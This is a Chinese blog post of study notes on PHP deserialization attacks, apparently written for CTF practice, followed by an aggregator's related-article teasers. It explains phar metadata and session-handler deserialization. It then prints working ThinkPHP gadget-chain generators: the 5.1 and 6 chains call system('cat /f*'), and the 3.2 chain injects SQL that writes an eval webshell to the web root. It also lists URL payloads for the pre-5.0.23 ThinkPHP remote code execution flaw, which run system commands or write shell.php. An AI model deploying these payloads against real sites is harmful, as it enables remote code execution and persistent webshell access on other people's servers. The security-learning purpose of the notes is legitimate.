php--高级反序列化

news2024/12/23 20:51:35

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅作分享。。。

目录

phar反序列化

phar协议

总结:

哪里使用的多?

条件:

session反序列化

总结:

php默认处理器

php_serialize序列化处理器方式

php框架

形象举例:

MVC在web中的应用:

特点:

tp手册:

tp反序列化链 (pop链):

tp5.1反序列化链

tp6 反序列化链

TP3.2反序列化exp

tp5.0.23之前RCE


phar反序列化

phar
The phar extension provides a way to put entire PHP applications into a single file called a "phar" (PHP Archive) for easy distribution and installation

Phar认为是--java的jar包  
calc.exe 

phar能干什么?
多个php合并为独立压缩包
不解压就能执行里面的php文件
支持web服务器和命令行

(在php.ini 配置里phar 一定要改成Off)

phar协议

phar://xxx.phar/aaa.php
phar://xxx.phar/aaa.txt

$phar->setmetadata($h);
metaData可以存放一个类实例,生成phar后,会将这个类实例已序列化字符串形式存放至Phar文件内
当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串

总结:

1 生成phar包时,可以往metaData里面放对象
2 生成后,对象会自动序列化保存到phar包中
3 使用phar协议读取phar包时,如果当前脚本识别了这个类,会自动调用这个类的魔术方法

哪里使用的多?

如果有上传点,上传文件的前半部分可控,后缀黑名单,不能是危险的后缀 php phps phtml ini .但没有禁止上传phar文件.
能够上传phar文件,找到大量使用的file_exits等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包.
就能自动进行反序列化.

条件:

1 能够生成phar包并上传写入
2 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
3 有可以利用的恶意类

//参数是string型的文件都行
//参数是string型的文件都行
//参数是string型的文件都行
include "phar://ctf.phar";
file_exists("phar://");
file_get_contents("");
file_put_contents("");
require "";
fileinode("");
filemtime("");
filesize("");
is_dir("");
scandir("");
highlight_file("");
.user.ini    auto_append_file=phar://ctf.phar

session反序列化

PHP_SESSION_UPLOAD_PROGRESS
php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID
session 是可以放字符串,数字,也可以放对象

总结:

1 session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2 session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

php默认处理器

//u|O:4:"user":2:{s:8:"username";N;s:8:"password";N;}  属于php处理器
u|O:4:"user":2:{s:8:"username";N;s:8:"password";N;}
|左边是session的key,右边是要反序列化的东西.
<?php

session_start();
class user{
    public $username;
    public $password;
}
$u = new user();

$_SESSION['u'] = $u;

// 存放对象-->字符串

 


 

php_serialize序列化处理器方式

a:1:{s:1:"u";O:4:"user":2:{s:8:"username";N;s:8:"password";N;}}
array('u'=>$u);
<?php

session_start();
class user{
    public $username;
    public $password;

    public function __destruct()
    {
        // TODO: Implement __destruct() method.
        system("calc");
    }
}
var_dump($_SESSION['u']);  //拿到session传入的

//浏览器里面传cookie
// 拿到对象-->进行反序列化

 


a:1:{s:1:"u";O:4:"user":2:{s:8:"username";s:56:"adminu|O:4:"user":2:{s:8:"username";N;s:8:"password";N;}";s:8:"password";s:6:"123456";}}

php先拿到|左边的为session的key,右边为要反序列化的内容(}结束)
当要对user类尝试反序列化时,会调用里面的实例,--销毁后被调用,--里面有恶意代码,就能被执行.

php框架

php的开发框架
框架是为开发服务,而不是面向产品

php框架的设计思路

MVC结构的设计框架
python java 都有基于MVC设计思路提供的框架

MVC设计思路->基于MVC的框架->基于框架的产品

M  model 模型 
V  view  视图
C  controller 控制器

形象举例:

菜鸟包裹    -> 前台负责分发任务   -> 取件  
                                -> 送件

                                快递员只负责接收、发送包裹 ,其他一律不管  可以认为他就是view 显示层
                                包裹前台  认为是控制器,负责派件和收件的人员安排
                                包裹就是  model


控制器 controller 只负责分发请求 
模型   model 只负责处理数据交互  数据输入,经过处理,返回处理后的数据  不在乎  数据哪里来的,也不在乎数据去哪里
视图  view   负责向控制器 发送数据,经过控制器 派发处理后,将数据回显在页面中

每个层 都独立起来了

MVC在web中的应用:

1 所有请求都统一入口   index.php  
2 通过不同的参数,表达不同的需求,由index.php作为控制器 统一进行分发处理
3 分发给模型Model处理完毕后,结果返回给Index控制器
4 Index控制器得到结果,返回给页面

特点:

1 从基于文件的url转为 基于路由的url 从关注访问哪个文件,转向关注访问url中的参数 ?a=b&c=d(不关注文件了,而是关注参数的值为什么)
2 使用统一的view视图,返回的数据,就是要显示的数据
3 控制器和视图和用户由关联,模型相对于用户透明 

tp手册:

序言 · ThinkPHP5.1完全开发手册 · 看云


首页为public目录
application目录里面都是前端内容
?s=/模块/控制器/方法
?s=/idnex/index/ctf


tp反序列化链 (pop链):

tp5.1 版本
Windows 类 __destruct  -> removeFiles -> __tostring -> tojson ->toArray 
->getAttr -> block ->writeln ->write ->write ->set ->setTagItem ->set 


这个东西要在Linux上,windows特殊字符不行-------

文件名为:<?cuc riny($_cbfg[1]);?>tag_+32位md5
php://filter/write=string.rot13/reosource=./<?cuc riny($_cbfg[1]);?>tag_+32位md5

文件内容:
php://filter/write=string.rot13/reosource=./<?cuc riny($_cbfg[1]);?>

 

tp5.1反序列化链

<?php  

namespace think\model {

 use think\Model; 
 
 class Pivot extends Model {
 
  } 
 } 
 
 namespace think { 
   abstract class Model { 
       private $lazySave = false; 
       private $data = []; 
       protected $withEvent = true;
       private $exists = false; 
       private $force = false; 
       protected $table; 
       private $withAttr = []; 
       
       public function __construct($obj = '') { 
           $this->lazySave = true;
           $this->data = array('yq1ng'=>'cat /f*'); 
           $this->withEvent = false;
           $this->exists = true; 
           $this->force = true; 
           $this->table = $obj; 
           $this->withAttr = array('yq1ng'=>'system'); 
        } 
    } 
    
 } 
 
 namespace { 
 
 use think\model\Pivot; 
 echo urlencode(serialize(new Pivot(new Pivot()))); 
 
 } 

tp6 反序列化链

<?php  

namespace think\model {

 use think\Model; 
 
 class Pivot extends Model {
 
  } 
 } 
 
 namespace think { 
   abstract class Model { 
       private $lazySave = false; 
       private $data = []; 
       protected $withEvent = true;
       private $exists = false; 
       private $force = false; 
       protected $table; 
       private $withAttr = []; 
       
       public function __construct($obj = '') { 
           $this->lazySave = true;
           $this->data = array('yq1ng'=>'cat /f*'); 
           $this->withEvent = false;
           $this->exists = true; 
           $this->force = true; 
           $this->table = $obj; 
           $this->withAttr = array('yq1ng'=>'system'); 
        } 
    } 
    
 } 
 
 namespace { 
 
 use think\model\Pivot; 
 echo urlencode(serialize(new Pivot(new Pivot()))); 
 
 } 

TP3.2反序列化exp

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle=new Model();
        }

}
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctf',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

tp5.0.23之前RCE

?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1951680.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

21 Python常用内置函数——zip()

zip() 函数用来把多个可迭代对象中的元素压缩到一起&#xff0c;返回一个可迭代的 zip 对象&#xff0c;其中每个元素都是包含原来的多个可迭代对象对应位置上元素的元组&#xff0c;最终结果中包含的元素个数取决于所有参数序列或可迭代对象中最短的那个。 可以这样理解这个函…

学习笔记(数据结构:队列)4

qt加库 队列&#xff1a; 队列是只允许在一段进行插入&#xff0c;而在另一端进行删除操作的线性表。 允许插入的称谓队尾&#xff0c;允许删除的一端队头。 顺序队列。 循环队列&#xff0c; 常用操作&#xff0c;入队&#xff0c;出队。 先进先出&#xff0c;FIFO 用&#x…

安装nfs和rpcbind设置linux服务器共享磁盘

1、安装nfs和rpcbind 1.1 检查服务器是否安装nfs和rpcbind&#xff0c;执行下命令&#xff0c;检查服务器是否安装过。 rpm -qa|grep nfs rpm -qa|grep rpcbind 说明服务器以安装了&#xff0c;如果没有就需要自己安装 2、安装nfs和rpcbind 将rpm安装包&#xff1a; libtirpc-…

【kubernetes】认识K8S基础理论

目录 1.背景 2.虚拟机、物理机与容器 3.K8S 基本概念 3.1 K8S 的特点 4.Kubernetes 集群架构与组件 4.1 核心组件 4.1.1 Master组件 4.1.2 配置存储中心 4.1.3 Node 组件 5.Kubernetes 核心概念 6.总结 1.背景 服务器经历了三次演变过程&#xff1a;物理机、虚拟机…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第三篇 嵌入式Linux驱动开发篇-第五十八章 中断下文之tasklet

i.MX8MM处理器采用了先进的14LPCFinFET工艺&#xff0c;提供更快的速度和更高的电源效率;四核Cortex-A53&#xff0c;单核Cortex-M4&#xff0c;多达五个内核 &#xff0c;主频高达1.8GHz&#xff0c;2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

跨越至智慧水利新时代:以科技创新为核心引擎,全面构建智能化水资源管理体系,显著提升水资源治理的智能化水平与高效治理能力,共筑可持续水生态未来

目录 一、智慧水利的概念与重要性 &#xff08;一&#xff09;智慧水利的概念 &#xff08;二&#xff09;智慧水利的重要性 二、智慧水利的关键技术 &#xff08;一&#xff09;物联网技术 &#xff08;二&#xff09;大数据技术 &#xff08;三&#xff09;云计算技术 …

Tekion 选择 ClickHouse Cloud 提升应用性能和指标监控

本文字数&#xff1a;4187&#xff1b;估计阅读时间&#xff1a;11 分钟 作者&#xff1a;ClickHouse team 本文在公众号【ClickHouseInc】首发 Tekion 由前 Tesla CIO Jay Vijayan 于 2016 年创立&#xff0c;利用大数据、人工智能和物联网等技术&#xff0c;为其汽车客户解决…

X00078-基于深度强化学习图神经网络的云工作流调度python

强化学习&#xff08;RL&#xff09;技术通过蒙特卡洛树搜索&#xff08;MCTS&#xff09;的加速&#xff0c;成功解决了多资源需求下的DAG问题&#xff0c;优化目标为缩短makespan。根据当前的计算资源和任务状态&#xff0c;MCTS算法被用来探索并选择最佳的动作&#xff0c;在…

【Linux】远程连接Linux虚拟机(MobaXterm)

【Linux】远程连接Linux虚拟机&#xff08;MobaXterm&#xff09; 零、原因 有时候我们在虚拟机中操作Linux不太方便&#xff0c;比如不能复制粘贴&#xff0c;不能传文件等等&#xff0c;我们在主机上使用远程连接软件远程连接Linux虚拟机后可以解决上面的问题。 壹、软件下…

快速搞定分布式RabbitMQ---RabbitMQ进阶与实战

本篇内容是本人精心整理&#xff1b;主要讲述RabbitMQ的核心特性&#xff1b;RabbitMQ的环境搭建与控制台的详解&#xff1b;RabbitMQ的核心API&#xff1b;RabbitMQ的高级特性;RabbitMQ集群的搭建&#xff1b;还会做RabbitMQ和Springboot的整合&#xff1b;内容会比较多&#…

The resource type Sheet does not implement java.lang.AutoCloseable

The resource type Sheet does not implement java.lang.AutoCloseable 修改一下 应该是【高版本JDK】切换集成到我这个项目【低版本 JDK 8】出错了

Ubuntu设置网络

进入网络配置文件夹 cd /etc/netplan 使用 vim 打开下的配置文件 打开后的配置 配置说明&#xff1a; network:# 网络配置部分ethernets:# 配置名为ens33的以太网接口ens33:addresses:# 为ens33接口分配IP地址192.168.220.30&#xff0c;子网掩码为24位- 192.168.220.30/24n…

【MySQL】:表操作语法大全

表内容的操作 增删改查 CRUD (create、retrieve、update、delete) 新增 基本语法 语法为&#xff1a; insert into 表名 values (值&#xff0c;值&#xff0c;值...);这里的列数和类型&#xff0c;要和表结构匹配插入中文的话&#xff0c;要确保数据库创建的时候要设置字…

Python 高阶语法

前言&#xff1a; 我们通过上篇文章学习了Python的基础语法&#xff0c;接下来我们来学习Python的高阶语法 1.初识对象 在Python中我们可以做到和生活中那样&#xff0c;设计表格、生产表格、填写表格的组织形式的 面向对象包含 3 大主要特性&#xff1a;  封装  继承 …

NLP基础知识2【各种大模型的注意力】

注意力 传统Attention存在的问题优化方向变体有哪些现在的主要变体集中在KVMulti-Query AttentionGrouped-query AttentionFlashAttention 传统Attention存在的问题 上下文约束速度慢&#xff0c;显存占用大&#xff08;因为注意力考虑整体信息&#xff0c;所以每一个位置都要…

mysql之触发器的使用

cr一&#xff1a;创建goods表和orders表&#xff1b; mysql> use mydb16_tirgeer Database changed mysql> create table goods(-> gid char(8) primary key,-> name varchar(10),-> price decimal(8,2),->-> num int); Query OK, 0 rows affected (0.0…

18 Python常用内置函数——排序与逆序

sorted() 对列表、元组、字典、集合或其他可迭代对象进行排序并返回新列表&#xff0c;reversed() 对可迭代对象&#xff08;生成器对象和具有惰性求值特性的 zip、map、filter、enumerate 等类似对象除外&#xff09;进行翻转&#xff08;首尾交换&#xff09;并返回可迭代的 …

《GPT-4o mini:开启开发与创新的新纪元》

在科技发展的快速进程中&#xff0c;OpenAI 推出的 GPT-4o mini 模型如同一阵春风&#xff0c;给开发者们带来了新的希望和机遇。它以其卓越的性能和极具吸引力的价格&#xff0c;成为了行业内热议的焦点。 当我首次听闻 GPT-4o mini 的消息时&#xff0c;内心充满了好奇与期待…

深度学习目标检测入门实战

深度学习目标检测入门实战 一、什么是目标检测二、目标检测常用的数据集&#xff08;开源&#xff09;&#xff08;一&#xff09;VOC数据集&#xff08;1&#xff09;背景知识&#xff08;2&#xff09;数据集的下载&#xff08;3&#xff09;VOC2007 数据集的标注&#xff08…

vue3前端架构---打包配置

最近看到几篇vue3配置项的文章&#xff0c;转载记录一下 Vue3.2 vue/cli-service 打包 chunk-vendors.js 文件过大导致页面加载缓慢解决方案-CSDN博客文章浏览阅读2k次&#xff0c;点赞8次&#xff0c;收藏9次。Vue3.2 vue/cli-service 打包 chunk-vendors.js 文件过大导致页…